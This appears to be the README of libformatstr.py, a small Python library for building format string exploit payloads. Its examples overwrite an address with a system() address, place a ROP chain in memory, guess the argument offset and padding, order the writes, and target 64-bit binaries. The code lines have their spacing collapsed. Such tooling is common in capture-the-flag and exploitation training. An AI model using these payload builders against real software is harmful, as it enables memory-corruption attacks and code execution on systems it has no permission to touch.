libformatstr.py

Small script to simplify format string exploitation.

Usage

• Case 1 - replace one dword:

importsysfromlibformatstrimportFormatStraddr=0x08049580system_addr=0x080489a3p=FormatStr()
p[addr] =system_addr# buf is 14th argument, 4 bytes are already printedsys.stdout.write( p.payload(14, start_len=4) )

• Case 2 - put ROP code somewhere:

importsysfromlibformatstrimportFormatStraddr=0x08049580rop= [0x080487af, 0x0804873c, 0x080488de]
p=FormatStr()
p[addr] =ropsys.stdout.write( p.payload(14) )

• Case 3 - guess argument number and padding:

importsysfromlibformatstrimportFormatStr# let's say we have do_fmt function,# which gives us only output of format string# (you can also just copy fmtstr and output manually)buf_size=250# fix buf_size to avoid offset variationres=do_fmt(make_pattern(buf_size))
argnum, padding=guess_argnum(res, buf_size)
# of course you can use it in payload generationp=FormatStr(buf_size)
p[0xbffffe70] ="\x70\xfe\xff\xbf\xeb\xfe"# yes, you can also put stringssys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already

• Case 4 - write something in specificed order:

fromlibformatstrimportFormatStrf=FormatStr(autosort=False) #This option disables auto sortingf[0x1234]=0x1f[0x5678]=0x2f[0xabcd]=0x3#The payload will write address 0x1234 first,then 0x5678,then 0xabcd.

• Case 5 - while you are in amd64:

fromlibformatstrimportFormatStrf=FormatStr(isx64=1) #This option force script to use 64bit address while generating payloadf[0x1234]=0x1f[0x5678]=0x2f[0xabcd]=0x3

About

Author: hellman ( hellman1908@gmail.com )

License: MIT License ( http://opensource.org/licenses/MIT )